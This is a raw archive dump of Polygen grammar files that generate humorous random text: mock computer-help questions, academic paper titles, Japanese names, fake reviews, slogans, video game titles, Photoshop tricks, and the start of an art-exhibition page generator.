| "Command" | "Strategy" | "Producer" | "Consumer"; polygen-1.0.6.ds2/grm/eng/genius.grm0000644000175000017500000001237310340417034016543 0ustar enricoenrico I ::= "title: The computer genius\n" ^ "author: Manta\n" ^ "language: english\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "disclaim:" Prods and Prod are ( "Mulino Bianco" | "Barilla" | "Vodafone" | "MacDonald's" | "Chupa & Chups" | "De Longhi" | "Ferrero" | "Burger King" | "Calvin Klain" | "Valentino" | "Ferrari" | "Rolls Royce" ) (^"," [limited] "inc.") trademarks ^ "\n" ^ "created: 12/11/2002" ; Prod ::= Prog | Qual1 [Qual2] ; Prods ::= Prod [^"," Prods] ; S ::= \Question ^ "?\n\n" ^ \Answer ^ "." ; Question ::= [man^","] [do you know] how ( (can | may | could | might) "I" (Pred.inf | do for Pred.ing) | to Pred.inf ) [Locus] | [genius^","] "I" (cannot | ^'m not able to) Pred.inf [Locus]^"," how does it work ; Answer ::= [first [of all] | the point is that] Period.inf ; Period ::= [Locus] you (Aux.neg Pred.inf | Either.(aff|neg)) (---- _ | (^"," so that | and | ^"," >(in such | this) way | but) [then | therefore] Period. | [in order] to Pred.inf. | for Pred.ing. ) ; Either ::= (aff: n^ | neg: _) either Aux Pred.inf^"," (aff: n^ | neg: _) or Aux Pred.inf ; Aux ::= should [(neg: n^ | aff: _)ever] | ([1: (neg: n^ | aff: _)ever] (have | need) [2: (neg: not | aff: _)]).(1|2) to | can (neg: (^not | ^'t) | (neg: n^ | aff: _)ever | aff: _) | must ; Pred ::= Verb Obj ; Obj ::= (the | a) [[Qual1] [Qual2]] Noun |- Obj (of | over | on | to) Obj ; Locus ::= from Prog [(and | or) Locus] | from the [control] (preferences | options | file | tools | panel | folder | drawer) [menu] (inside | within) Prog ; Prog ::= ( ["X-"^]"Windows" | ["MS-"^]"DOS" | ["Redhat" | "SuSe" | "Debian" | "Mandrake"] ["Mk"^]"Linux"[^"PPC"] | [i^]"Mac"[^"OS" ["X"]] | "ICQ" | "Office" | "Word" | "Excel" | "Outlook" ["Express"] | "Photoshop" | "Flash" ["MX"] | ["Internet"] "Explorer" | "Netscape" | "AutoCAD" ) [Ver] ; Noun ::= controller | driver | [micro^]kernel | [operating] system | hard disk | floppy disk | case | [micro^]processor | "BIOS" | display | file | [(mini | midi)^]tower | monitor | modem | ["Internet" | "Web"] site | server | proxy | provider | mouse | cable | clock | ["front-side"] bus | virus | tool | software | program | hardware | mailer | attachment | forward | computer | [secret] (code | password) | (memory | "e-mail" | "Internet" | "Web") address | mousepad | sendmail | terminale | desktop | button | gadget | [sub^]menu | wordprocessor | editor | connector | pin | jumper | pointer | (front | back)^"-end" | firewall | [mother | key^ | graphics | sound] board | "SIMM" | printer | "CPU" | cache | memory | ["e-"^]mail | "URL" | utility | application | "GPU" | "FPU" | periferic | device | window | "GUI" | connection | login | shell | [command] prompt | icon | space bar | head | [Qual1 [Qual2]] port [Num] | line | fan | folder | directory ; Qual2 ::= "SCSI" | ["E"^]"IDE" | "CD" | "AGP" | "PCI" | "ISA" | "DVD" | "ISDN" | "ADSL" | "BIOS" | "LCD" | "3D" | "Direct"^("X" | "3D" | "GL") | "OpenGL" | "3Dfx" | "DLL" | "AT"[^"I" | "X"] | ethernet | "TCP/IP" | "TCP" | "IP" | "2D" | "POP"[^3][^mail] | "SMTP" | "IRC" ; Qual1 ::= "Fast" | "Ultra" [^"-wide" | ^"DMA" [^Num] | ^flat] | "RO" | "RW" | [("SG" | "D" | "S" | "EP")^] ("RAM" | "ROM") | laser | serial | parallel | graphic| "LCD" | Num^"X" | Num^"-bit" | "USB" | coaxial | digital | analogic | "MIDI" | Num^"-inch" | "level-"^Num ; Num ::= Digit [^Digit] ; Digit ::= 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 ; Ver ::= Digit^"."^Digit[^"."^Digit] | "NT" | "XP" | 9^Digit | Digit^000 ; Verb ::= [re^ | un^]install (ing: ^ing | inf: _) [on] | (renam | [re^]configur)^(inf: e | ing: ing) | (open | close) (ing: ^ing | inf: _) | debug (ing: ^ging | inf: _) | reset (ing: ^ting | inf: _) | get (ing: ^ting | inf: _) access (over | on) | turn (ing: ^ing | inf: _) (off | on) | (remov | delet)^(inf: e | ing: ing) [from] | cancel (ing: ^ling | inf: _) | digit (ing: ^ing | inf: _) (from | on) | ([un^]link | [dis^]connect) (ing: ^ing | inf: _) [to | from | with | into] | insert (ing: ^ing | inf: _) [in | on] | overclock (ing: ^ing | inf: _) | [un^]mount (ing: ^ing | inf: _) | (dis | en)^abl^(inf: e | ing: ^ing) | ping (ing: ^ing | inf: _) [to] | boot (ing: ^ing | inf: _) [from | with] | [up^ | down^] load (ing: ^ing | inf: _) [from | to] | log (ing: ^ging | inf: _) (from | on | in) | sav^(inf: e | ing: ing) [on | from | to] | explor^(inf: e | ing: ing) [with] | [double^]click (ing: ^ing | inf: _) [on | with] | send (ing: ^ing | inf: _) [to] | receiv^(inf: e | ing: ing) [from] | telnet (ing: ^ting | inf: _) (to | from | on) | forward (ing: ^ing | inf: _) (to | from) ; polygen-1.0.6.ds2/grm/eng/paper2.grm0000644000175000017500000003336110340417034016442 0ustar enricoenricoI ::= "title: Paper titles\n" ^ "author: Enrico Zini <enirco@debian.org>\n" ^ "language: english\n" ^ "status: refinable\n" ^ "topic: academic\n" ^ "comment: titles of academic papers are always like this\n" ^ "created: 16/09/2004" ; S ::= \ ShortTitle ^(":" | "?" \) LongTitle ; ShortTitle ::= -- a STFirst "of" STSecond "or a" STSecond "of" STFirst | -- the STFirst "of" STSecond "or the" STSecond "of" STFirst | ( Approach | "The" Approach | "A" Approach.A | "An" Approach.AN ) ("to" | "on") Approach | Doing ("the" | "a") Name | Doing ("the" | "a") Adjective Name | (the | a Adjective.A | an Adjective.AN | Adjective ) Doing ("of" Name | "of the" Doing | "of a" Doing.A | "of an" Doing.AN) ; STFirst := Name ; STSecond := Name ; Name ::= AN: >( action | actions | activity | acts | address | affectation | air | algorithm | anality | "apple-pie order" | approach | arrangement | attack | enterprise | envisagement | observable behavior | operations research | order | orderliness | organization | idea | intention ) | A: >( bearing | behavior | behavior pattern | behavioral norm | behavioral science | blueprint | blueprinting | calculation | carriage | charting | comportment | conception | conduct | contrivance | course | culture pattern | custom | demeanor | deportment | design | device | discipline | disposition | doing | doings | fashion | figuring | fine fettle | folkway | foresight | forethought | form | game | gestures | "goings-on" | good condition | good shape | good trim | graphing | ground plan | guidelines | guise | layout | line | line of action | lines | lineup | "long-range plan" | maintien | manner | manner of working | manners | mapping | master plan | means | method | methodicalness | methods | mien | mode | mode of operation | mode of procedure | modus operandi | modus vivendi | motions | movements | moves | neatness | pattern | plan | planning | planning function | poise | port | pose | posture | practice | praxis | prearrangement | presence | procedure | proceeding | process | program | program of action | rationalization | routine | schedule | schema | schematism | schematization | scheme | scheme of arrangement | setup | social science | strategic plan | strategy | style | system | systematicness | systematization | tack | tactical plan | tactics | technique | big picture | drill | picture | tidiness | tone | trimness | way | way of life | ways | wise | working plan ) ; Adjective ::= AN: >( absolute | absolutist | absolutistic | accepted | accurate | adept | adroit | approved | apt | arbitrary | aristocratic | armipotent | arrogant | artistic | ascendant | assuring | attested | authentic | authenticated | authoritarian | authorized | autocratic | ecumenic | effective | effectual | efficacious | eminent | empowered | enchanting | energetic | estimable | evangelical | ex cathedra | ex officio | excellent | expert | imperative | imperial | imperious | important | impressive | indisputable | influential | informed | ingenious | instructive | irrefutable | irresistible | official | operative | oppressive | orthodox | orthodoxical | overbearing | overruling | unrefutable ) | A: >( postmodern | interactive | new | modernist | innovative | "Christian" | "Daedalian" | binding | bossy | bravura | brilliant | canonical | cathedratic | certified | charismatic | charming | circumstantiated | clean | clever | cogent | commanding | competent | conclusive | confined | confirmed | consequential | considerable | consistent | controlling | conventional | conversant | convictional | convincing | coordinated | correct | crackerjack | cunning | customary | cute | decisive | deft | dependable | despotic | determinative | dexterous | dextrous | dictated | dictatorial | didactic | diplomatic | doctrinaire | documented | dogmatic | dominant | duly constituted | dynamic | factual | faithful | familiar | fancy | featured | feudal | firm | forceful | forcible | formulary | good | goodish | governing | graceful | great | grinding | handy | hard and fast | hegemonic | hegemonistic | "high-handed" | "high-potency" | "high-powered" | "high-pressure" | "high-tension" | knowledgeable | lawful | leading | learned | legal | legitimate | limited | literal | logical | lordly | magisterial | magistral | magnetic | mandatory | masterful | masterly | mighty | momentous | monocratic | neat | peremptory | personable | persuasive | political | powerful | preceptive | preeminent | prepotent | prescribed | prescriptive | prestigious | professional | proficient | prominent | proper | proven | puissant | quick | ranking | ready | received | regulation | reliable | repressive | reputable | resourceful | restricted | right | ruling | sanctioned | satisfactory | satisfying | scholarly | scriptural | "self-consistent" | senior | severe | skillful | slick | solid | sound | specialist | specialistic | specialized | standard | statutory | strict | striking | strong | stylish | suasive | substantial | sufficient | superior | suppressive | supreme | sure | tactful | technical | textual | totalitarian | traditional | traditionalistic | true | "true-blue" | trustable | trustworthy | truthful | tyrannical | tyrannous | valid | validated | verifiable | verified | veritable | vigorous | virtuoso | vital | weighty | "well-done" | "well-founded" | "well-grounded" | "well-read" | winning | tentative ) ; Approach ::= AN: > (accomplishment | achievement | advance | advent | alikeness | alliance | analogy | answer | anticipation | appeal | approximation | arrangement | arrival | attack | attainment | attempt | attitude | endeavor | engagement | enterprise | entrance ) | A: > (destiny | fate | calculation | charting | check | mapping | crash course | coming | community | comparison | concentralization | conception | concourse | concurrence | confluence | conflux | conformity | confront | congress | convergence | correspondence | corridor | course | cultivate | design | device | disposition | drawing | encounter ) | PL: > ( advances | approaches ) ; (* entreat, entry, entryway, environs, envisagement, equal, essay, establish connection, evoke, exert influence, expect, experiment, face, fall in with, fashion, favor, feeler, fetch, fetch up at, figuring, find, fix, fling, focalization, focus, follow, foreground, foresee, foresight, foretell, forethought, form, forthcome, forthcoming, funnel, futurity, gain, gain upon, gambit, game, gangplank, gangway, gather, get at, get cozy with, get in, get there, get to, get warm, go, graphing, grease, grease the palm, greet, ground plan, guidelines, guise, hail, hall, halloo, hang over, hit, hit town, hope, hover, hub, idea, identity, imitate, imitation, immediacy, immediate foreground, immediate future, imminence, impend, impendence, impendency, implore, importune, in, ingress, inlet, intake, intention, interrogate, intersect, invitation, invoke, landing, layout, lead on, lick, lie ahead, lie over, lift a finger, likeness, likening, line, line of action, lines, lineup, lobby, lobby through, long-range plan, look for, look forward to, look like, loom, lower, magnetize, maintain connection, make, make a pass, make advances, make an attempt, make an effort, make an overture, make contact with, make it, make overtures, make up to, manner, manner of working, mapping, master plan, match, materialize, means, means of access, meet, meeting, memorialize, menace, metaphor, method, methodology, mimic, mimicking, mirror, mode, mode of operation, mode of procedure, modus operandi, move, movement, mutual approach, narrow the gap, narrowing gap, near, near future, nearly reproduce, nearness, negotiate, neighborhood, nigh, nighness, nip, not tell apart, offer, offering, opening, operations research, order, organization, overhang, overture, overtures, parallel, parallelism, parity, parley, partake of, passage, passageway, path, pay addresses to, pay court to, pay off, pinch, plan, planning, planning function, play up to, plead, plot, pop up, practice, prearrangement, precinct, predict, preliminary approach, present itself, presentation, procedure, proceeding, process, proffer, program, program of action, project, prophesy, propinquity, proposals, propose to, proposition, propositions, proximate, proximity, pull in, pull strings, punch in, purchase, purlieus, question, radius, raise, rationalization, reach, reaching, relate to, remind one of, reply to, resemblance, resemble, respond to, ring in, rival, roll in, routine, run after, run together, salute, sameness, savor of, schedule, schema, schematism, schematization, scheme, scheme of arrangement, seem like, semblance, setup, shine up to, shot, show up, sidle up to, sign in, similarity, simile, similitude, simulate, simulation, smack of, solicit, sound like, sound out, speak, speak fair, speak to, spokes, spring up, stab, stack up, stack up with, step, step up, strategic plan, strategy, stroke, strong bid, style, submission, suborn, suggest, supplicate, system, systematization, tack, tactical plan, tactics, take after, take aside, take care of, talk to, tamper with, tangent, taper, technique, tentative, tentative approach, the big picture, the drill, the how, the picture, the way of, threaten, throw a pass, tickle the palm, time in, tone, touch, touchdown, trench, trial, trial and error, try, turn up, undertake, undertaking, unite, venture, venture on, venture upon, verge, vestibule, vicinage, vicinity, way, way in, whack, wire-pull, wise, work on, working plan *) Doing ::= AN: >(accompanying | accomplishing | achieving | acquitting | acting | advantaging | affecting | answering | appearing | arriving | assisting | assuming | attaining | attending | authoring | availing ) | A: >(baking | banquetting | barbecuing | engaging | equaling | being producting | bearing | beating | begetting | behaving | benefitting | besteading | betiding | bilking | blanching | blowing out | boiling | borrowing | bottoming | braising | breaking | breeding | brewing | bringing about | bringing forth | bringing into being | bringing off | bringing to effect | bringing to fruition | broiling | carrying into execution | carrying on | carrying out | carrying through | catching | causing | chancing | cheating | chording | chorusing | chousing | clearing up | clipping off | coddling | coming off) ; (* come to, commit, compass, complete, comport, conceive, concertize, conclude, conduct, consummate, cook, copy, counterfeit, course, cover, cozen, crack, create, crib, curry, deal with, debug, decipher, decode, defraud, demean, deport, determine, develop, devil, diddle, discharge, discourse, disentangle, dispatch, dispose of, ditto, divine, do it, do like, do out of, do the job, do the trick, do to, do to perfection, dope, dope out, echo, effect, effectuate, employ, enact, end, engage in, engender, engineer, establish, execute, exercise, explain, fair, fake, fall out, fare, father, fathom, feast, festival, festive occasion, festivity, fetch, fete, field day, fiesta, figure out, fill the bill, find out, find the answer, find the solution, finish, fire, fit, flimflam, follow, forge, found, fricassee, frizz, frizzle, fry, fulfill, gala, gala affair, gala day, generate, gestate, get, get along, get by, get on, get right, give birth to, give good returns, give occasion to, give origin to, give rise to, go, go and do, go around, go at, go in for, go like, go on, go over, go to, great doings, griddle, grill, guess, guess right, gyp, hack it, halt, have it, have the goodness, heat, high jinks, hit, hit it, hoke, hoke up, hold, if you please, imitate, impersonate, inaugurate, industrialize, inflict, institute, interpret, jamboree, just do, kermis, knock off, look on, make, make like, make music, make out, make the grade, manage, masquerade as, mass-produce, measure, meet, meet requirements, mime, mimic, mirror, misbehave, move, muddle through, occasion, occur, open the lock, originate, oven-bake, overpass, overproduce, overreach, pan, pan-broil, pantomime, parboil, party, pass, pass for, pass muster, pass over, pass through, patrol, pay, pay off, perambulate, peregrinate, pererrate, perform, perpetrate, personate, picnic, plagiarize, play, play a part, play by ear, playact, please, plumb, ply, poach, polish off, pose as, practice, pray, pray do, prepare, prepare food, pretend to be, prithee, proceed, produce, profit, prosecute, psych, psych out, pull off, pursue, put away, puzzle out, qualify, quit, range, range over, ravel, ravel out, puzzle out, qualify, quit, range, range over, ravel, ravel out, reach, realize, reconnoiter, reecho, reflect, relate, render, repeat, resolve, riddle, roast, satisfy, saute, scallop, scour, scour the country, scout, sear, see, serve, serve the purpose, set afloat, set on foot, set up, shirr, show up, simmer, simulate, sire, sit in, solve, sort out, specialize in, stagger, stand, stand up, steam, stew, stir-fry, stretch, succeed, suffice, suit, sweep, symphonize, tackle, take and do, take care of, take in, take it, take off, take on, take to, take up, terminate, toast, track, transit, transpire, travel over, travel through, traverse, turn the trick, turn up, undertake, undo, unlock, unravel, unriddle, unscramble, untangle, untwist, unweave, up and do, use, visit, volume-produce, voyage, wage, watch, waygoose, wayzgoose, will you, wind up, witness, work, work at, work out, wrap up, wreak, yield a profit *) LongTitle ::= -------- "which future?" | ("the" | "a") (_ | >Adjective) Approach (to | of) (the | a) (_ | >Adjective) Approach "of" Approach ^"." ; polygen-1.0.6.ds2/grm/eng/nipponame.grm0000644000175000017500000000730210340417034017233 0ustar enricoenricoI ::= "title: Japanese names\n" ^ "author: Manta, Pan <pansk@tiscalinet.it>\n" ^ "language: english\n" ^ "topic: misc\n" ^ "status: refinable\n" ^ "audience: anybody" ^ "created: 03/09/2003" ; S ::= \FirstName \LastName ; FirstName ::= Pre1 ^ Post1 (*| Name *) ; LastName ::= (Pre ::= Pre2 | Mid2 ; Post ::= Mid2 | Post2 ; Mid ::= Mid2 ; Pre ^ [Mid^] Post) ; Pre2 ::= sane | fuka | asa | mae | yoko | nishi | kita | higashi | minami | au | aka | kuro | kiyo | iwa | ishi | matsu | sugi | take | yone ; Mid2 ::= yoshi | tada | ie | tsuna | yasu | yori | mochi | taka | kane | tomo | nobu | naga | katsu | toki | masa | mitsu | hisa | hide | toshi | sada | kuni | aki | shige | nori | mune | ki | ita | (h | b) ^ashi | mori | mizu | moto | naka | uchi | yama | oka | saka | no | ike | kawa | tani | sawa | hata | ta | shima | mura | saki ; Post2 ::= uji | mori | tsugu | emon | ji | zo | suke | (h | b) ^ ayashi | ue | kami | shita | shimo | zawa | numa | bata | da | jima | zaki ; Pre1 ::= e | gen | jun | ku | ken | ko | kyo | ryo | ryu | sei | sen | shin | sho | shu | shun | yo | yu | aki | hide | hiro | masa | nobu | shige | taka | tomo | toshi | yasu | yoshi ; Post1 ::= ichi | z^(o | u) | ji | kazu ; (*Aiko, Akiko, Asako, Atsuko, Ayako, Chikako, Emiko, Eriko, Etsuko, Fujiko, Fumiko, Haruko, Ikuko, Junko, Katsuko, Kazuko, Keiko, Kimiko, Kumiko, Kyoko, Machiko, Maiko, Makiko, Mamiko, Mariko, Masako, Mayako, Mayuko, Mayoko, Michiko, Mihoko, Minako, Misako, Mitsuko, Miyoko, Momoko, Mutsuko, Nahoko, Namiko, Nanako, Naoko, Natsuko, Nayoko, Noriko, Reiko, Rieko, Rikako, Rinako, Risako, Ritsuko, Rumiko, Ryoko, Sachiko, Saeko, Sakiko, Sakuko, Sakurako, Sanako, Satoko, Sayoko, Shoko, Seiko, Tadako, Takako, Tamiko, Tokiko, Tomiko, Tomiko, Yoko, Yoshiko, Yukako, Yukiko, Yumako, Yumiko, Yuriko, Yutsuko.*) (*Name ::= "Akihiko" | "Akihiro" | "Akihito" | "Akira" | "Fumio" | "Fumihiko" | "Hideaki" | "Hidekazu" | "Hirofumi" | "Hirohisa" | "Hiroshi" | "Hisashi" | "Hitoshi" | "Jotaro" | "Katsuhiko" | "Katsumi" | "Kazuhiko" | "Kazuki" | "Kazunori" | "Kazuo" | "Kazushi" | "Kei" | "Keichi" | "Ken" | "Kensaku" | "Kintaro,Kosaku" | "Kotaro" | "Mamoru" | "Manabu" | "Masafumi" | "Masaharu" | "Masahiko" | "Masahiro" | "Masaki" | "Masami" | "Masao" | "Masashi" | "Masayoshi" | "MasayoshiAkio" | "Michihiro" | "Michio" | "Naoki" | "Noboru" | "Nobuhisa" | "Nobuo" | "Nobuyoshi" | "Noriaki" | "Norihide" | "Norihisa" | "Norio" | "Osamu" | "Rintaro" | "Ryosei" | "Ryutaro" | "Satoru" | "Satoshi" | "Shigeaki" | "Shigeki " | "Shintaro" | "Sumio" | "Tadao" | "Tadashi" | "Takaaki" | "Takafumi" | "Takahiro" | "Takao" | "Takashi" | "Takayuki" | "Takeshi" | "Takuya" | "Taro" | "Teruo" | "Tetsuhiko" | "Tetsunori" | "Tetsuo" | "Tetsuya" | "Tetsuyuki" | "Tomohiko" | "Tomoyuki" | "Toru" | "Toshiharu" | "Toshio" | "Toshiyuki" | "Tsutomu" | "Yoshifumi" | "Yoshimitsu" | "Yoshiyuki" | "Yukio" | "Yutaka" ; S ::= NN; On ::= (o | --oo | -go) ^NN; NN ::= N (------^N | _); N ::= +++++((------Imp^ | _) Sill ^Sill (-^n | _)) | N1; N1 ::= (Sill (-^n | _) (------^N1 | _)); Sill ::= +VocLung | KV | -SV | TV | NV | HV | MV | RV | WV; Voc ::= a | i | u | e | o; VocLung ::= a | i | u | e | o | -ii | -ou | -ei; Imp ::= ya | yu | yo; KV ::= (+k | g) Comp; SV ::= +(s Comp) | (+(za | ji | zu | ze | zo) | (ja | ju | jo)); TV ::= +(+(ta | chi | tsu | te | to) | (cha | chu | cho)) | (+(da | ji | zu | de | do) | (ja | ju | jo)); NV ::= n Comp; HV ::= (++h | +b | p) Comp; MV ::= m Comp; RV ::= r Comp; WV ::= wa | wo; Comp ::= ^(+++Voc | Imp); *)polygen-1.0.6.ds2/grm/eng/reviews.grm0000644000175000017500000000652210340417034016734 0ustar enricoenrico I ::= "title: Review quotations\n" ^ "author: Manta\n" ^ "language: english\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "created: 07/10/2002" ; S ::= "" ^ Quotation ^ "" "\n -" Source ; Source ::= "La Repubblica" | "Harold Tribune" | "The" ("Sun" | "Stars" | "Moon") | "GirlPower" | "Cosmopolitan" | "The Times" | "Rolling Stone" | "Melody Maker" | State "Today" | ("Daily" | "Monthly" | "Weekly" | "Yearly") "Telegraph" ; State ::= "Italy" | "Thailandia" | "Germany" | "Holland" | "Rwanda" | "Chile" | "Uganda" | "Ciad" | "Sudan" | "Mexico" | "Turkey" | "Turkmenistan" | "Azerbaijan" | "Burundi" | "Tibet" | "San Marino" | "Vatican" | "Lichtenstein" | "Luxemburg" | "Monaco Principality" | "Slovenia" | "Ecuador" | "Uruguay" | "Paraguay" | "Dalmatia" | "Moldavia" | "Macedonia" | "Kurdistan" | "Malta" | "Argentina" | "Etruria" | "Kamcatka" ; Quotation ::= [\Exclam ^ "."] ("..."^ | \) ( the Eulogy Software ever (written | designed | made) [for Topic] [(after | since) Program] | [finally] the [ultimate] solution to all [your] [Problem] problems | (such a | this) Software (has long been awaited | couldn't be seen) since Program times | the Software everybody was [so] [long | anxiously | desperately] (waiting for | expecting | desiring) ) ^ "." [\Exclam ^ "."] ; Problem ::= >Topic | pollution | (over | under)^population | demagogy | rethoric | bulimia | diarrhoea ; Exclam ::= [simply | completely | rather | definitely] (unmissable | terrific | marvellous | brilliant | fantastic | perfect) | (won't disappoint you | >(no way to | do not) miss it) ; Eulogy ::= best | worst | finest | (most | least) >(important | complex | sophisticated) ; Software ::= [computer] program | tool | [piece of] software | utility | application | product ; Topic ::= [intensive] (farming | cultivation) | gastronomy | (stamp | butterly | toy soldier | tin) collectionism | ( jazz | hardcore | classical | baroque | medieval | rinaissance | provence | [(prog | death | black | street | heavy | gothic) ^ "-" ^] (rap | rock | metal | pop) | folk | popular ) music | fishing | poaching | hunting | poaching | gardening | ["hand-"^]sewning [and needleworking] | safari | alpinism | [hitch] hiking | driving | web design | occultism | (textile | metallurgic) industry | adventure | sex [magick] | pornography | tantra | "Him" | "Her" | man | woman | kids ; Program ::= Name (Rel | Ver) ; Rel ::= (6 | 7 | 8 | 9) ^ Digit | (2 | 3 | 4) ^ 00 ^ Digit | "XP" | "NT" | "X" ; Digit ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 ; Ver ::= Digit ^ "." ^ Digit [^ "." ^ Digit] [^ (a | b | g | d)] ; Name ::= "Word" | "Excel" | "Outlook" ["Express"] | "Publisher" | "Photoshop" | "Illustrator" | "Quark Express" | "Qbase" | "Cakewalk" | "Vegas" | "Rebirth" | "Reason" | "Dream Weaver" | "Flash MX" | "Internet Explorer" | "Mozilla" | "Netscape" | "Opera" | "AutoCAD" | "3D Studio" | "Maya" | "Office" ;polygen-1.0.6.ds2/grm/eng/payoff.grm0000644000175000017500000000122110340417034016523 0ustar enricoenrico I ::= "title: K00l payoffs\n" ^ "author: Manta\n" ^ "language: english\n" ^ "status: larvale\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "created: 25/08/2002" ; S ::= \ ( [don't] Verb Adj [^, Verb Adj] | Verb Adj Op Adj ) ^ "!" ; Op ::= "&" |+ n' | and | or | but |+ ^, not ; Verb ::= be | get | think | live | let's | stay | go | fly | drive | look | have | move ; Adj ::= smart | cool | fine | again | twice | cube | fresh | hot | power | free | energy | safe | groove | funk[^y] | happy | jungle | out | young | fun | high | "Helder" ; polygen-1.0.6.ds2/grm/eng/videogames.grm0000644000175000017500000000412510340417034017370 0ustar enricoenricoI ::= "title: Titoli dei videogiuochi\n" ^ "author: CUG <cug@telcanet.it>\n" ^ "language: english\n" ^ "status: embryonic\n" ^ "topic: misc\n" ^ "comment: I titoli dei videogiuochi non sportivi, rigorosamente in albionico, sono tutti uguali. E pure i giuochi moderni lo sono. A parte alcuni. Non parliamo dei giuochi sportivi che sono ancora piu' scandalosi.\n" ^ "created: 09/04/2004" ; S:= [PREF] {\SOMET1|\SOMET2} [-(++of|by)[the]] { (---\SOMET2|+++\SOMETHING)} [^SUFF] [(SEGNO.PU2) \SOMETHING [of [+the] \(SOMET1|SOMET2)]] [FRONZ]; SEGNO ::= (PU0: ^".\n\n"^\ | PU1:^".\n"^\ | PU2: ^":"\ | PU3: ^"."\ | V: ^"," | VT: ^"\""\ ); SOMET1 ::= blood | vampire | alien[^s] | warrior | resident | command | conquer | star | war | doom | quake | sword | shadow | lord | beast | civilization[^s] | legend | journey | \u^\f^\o | covenant | revenant | lore | race | hunter | valour | battle | adventure | magic | spell | dawn | commander | glory | fury | force | spirit | tomb | island | colony | beholder | captain | angel | manta ; SOMET2 ::= evil | dead | ultimate | killer | assassin | cursed | enchantment | doomed | warrior | vampire | elves | darkness | beast | templar | cataclysm | galaxy | deadly | super | time | knight | raven | virtual | prisoner | hunted | normandy | labyrinth | pirate | \orion | dead | privateer | wing | empire[^s] | life | raider | heaven | inferno | lance | blood | fist; SOMETHING ::= +legacy | nemesis | invasion | attack | alert | control | alliance | secret | death | project | dream[^s ] | escape | rising | fantasy | dream | chronicle[^s] | betrayal | helder | revolution | weapon | legend | history | anvil | twilight | ending | hell | clash | hero[^es] | eye | iron ; PREF ::= \age of [the] | \master of [the] | \curse of [the] | \sim^"-"^ | \the | -\mega^; SUFF ::= craft | " "^\simulator | [" "^\]warp | [" "^\]scape ; FRONZ ::= NUMERO | ROMAN | "DX" | \gold [\edition] ; NUMERO ::= CIFRA[^CIFRA]; CIFRA ::= "2" | "3" | "4" | "5" | "6" | "7" | "8" | "9" ; ROMAN ::= (\i | \x | \v) [^ROMAN] ; polygen-1.0.6.ds2/grm/eng/photoshop.grm0000644000175000017500000000701010340417034017264 0ustar enricoenricoI ::= "title: Photoshop dirty tricks\n" ^ "author: Vision-X.it\n" ^ "language: english\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: Adobe Photoshop users\n" ^ "beerware: should you find a cool trick, send it to vision-x@vision-x.it along with a beer\n" ^ "created: 2/2/2003" ; S ::= \ (Layer01 | Layerwithmask | Adjustmentlayer) ^"." ; Adjustmentlayer ::= create Adjustment^"," set it in Blendmode^"," Mask ; Layer01 ::= create a ( copy of background layer in Blendmode [and apply Filter] | Color filled layer in Blendmode ) ; Layerwithmask ::= Layer01^"," then Mask ; Mask ::= use (a bw copy of the image | a Color fill | Channel1 ) as level mask and ( apply Filter | play with Adjustment1) ; Number ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 ; Number2 ::= 0 | 1 | 2 ; Action1 ::= pick the Order selector and slide it Position1 ; Order ::= first | second | last ; Position1 ::= right | left ; Position2 ::= up | down ; Blendmode ::= normal | dissolve | darken | multiply | color burn | linear burn | lighten | screen | color dodge | linear dogde | overlay | soft light | hard light | vivid light | linear light | pin light | diffrence | exclusion | hue | saturation | color luminosity ; Filter ::= gaussian blur | sharpen | diffuse "("^ select the option number (1 | 2 | 3 | 4) ^")" | emboss | add noise | median ; Adjustment ::= Solidcolor | Gradient | Levels | Curves | Colorbalance | Brightnesscontrast | Huesaturation | Selectivecolor | Channelmixer | Gradientmap | invert | Threshold | posterize ; Adjustment1 ::= levels | curves | colorbalance | brightness and contrast | hue and saturation | Selectivecolor | Channelmixer ; Solidcolor ::= a Color solid color adjustment layer ; Gradient ::= a "Gradient" adjustment layer^"," set a ( black and white | black to transparent | white to transparent | Color to transparent | Color and Color ) gradient ; Levels ::= a level adjustment layer where the Color point is slided Position1 in the Channel channel^"," set the output levels from Number^Number^Number to Number^Number^Number ; Curves ::= a curves adjustment layer^"," select the Channel1^"^","" pick a point ( in the middle | near the top | near the bottom ) slide it Position2^"," select Luma in tone balance ; Colorbalance ::= a color balance adjustment layer and Action1 ; Brightnesscontrast ::= a brightness andcontrast adjustment layer Action1 ; Huesaturation ::= a hue and saturation adjustment layer^"," edit (master | Colors) ^"^","" Action1 ; Selectivecolor ::= a selective color adjustment layer^"," set color to ( Colors | whites | neutrals | blacks) and slide Position1 Channel1 ; Channelmixer ::= a "Channelmixer" adjustment layer^"," choose as output channel ( Rgb1 and slide Position1 Rgb in the source channel | Cmyk1 and slide Position1 Cmyk in the source channel )^"," drag constant to Action1 ; Gradientmap ::= a gradientmap adjustment layer^"," Gradient ; Threshold ::= a threshold adjustment layer^"," set value to Number2^Number^Number ; Posterize ::= a posterize adjustment layer^"," set value to Number2^Number^Number ; Channel ::= Rgb | Cmyk | Lab ; Rgb ::= ( red | green | blue ) ; Cmyk ::= ( cyan | magenta | yellow | black ) ; Lab ::= ( luminance | a | b ) ; Channel1 ::= Rgb1 | Cmyk1 | Lab1 ; Rgb1 ::= Rgb channel in rgb mode ; Cmyk1 ::= Cmyk channel in cmyk mode ; Lab1 ::= Lab channel in lab mode ; Color ::= black | white | 50^"%" gray ; Colors ::= reds | yellows | greens | cyans | blues | magentas ; Luma ::= shadows | midtones | highlights ; polygen-1.0.6.ds2/grm/eng/artex.grm0000644000175000017500000007203110340417034016371 0ustar enricoenricoI ::= "title: Art Exhibitions\n" ^ "author: Zcode <zcode@tiscali.it>\n" ^ "language: english\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "created: 26/5/2004" ; S ::= "" "
      " "

      " "" Intest "" ["
      "Subtitolo] ["-"Year|"("^Year^")"|^"
      "Year] ["
      "Museum] "

      " "

      " \Prop1 Text^"." "

      " "
      "; TitColor ::= "#CC9900" | "#339999"; LineH ::= 1^(5|6|7|8|9)^px ; TxtColor ::= "#999999" | "#666666" | "#000000" | "#999966"; Width ::= "70%" | "80%" | "90%" | "100%"; Opera := Titolo; Intest ::= (Artists (":"|"-"|"::"|^"
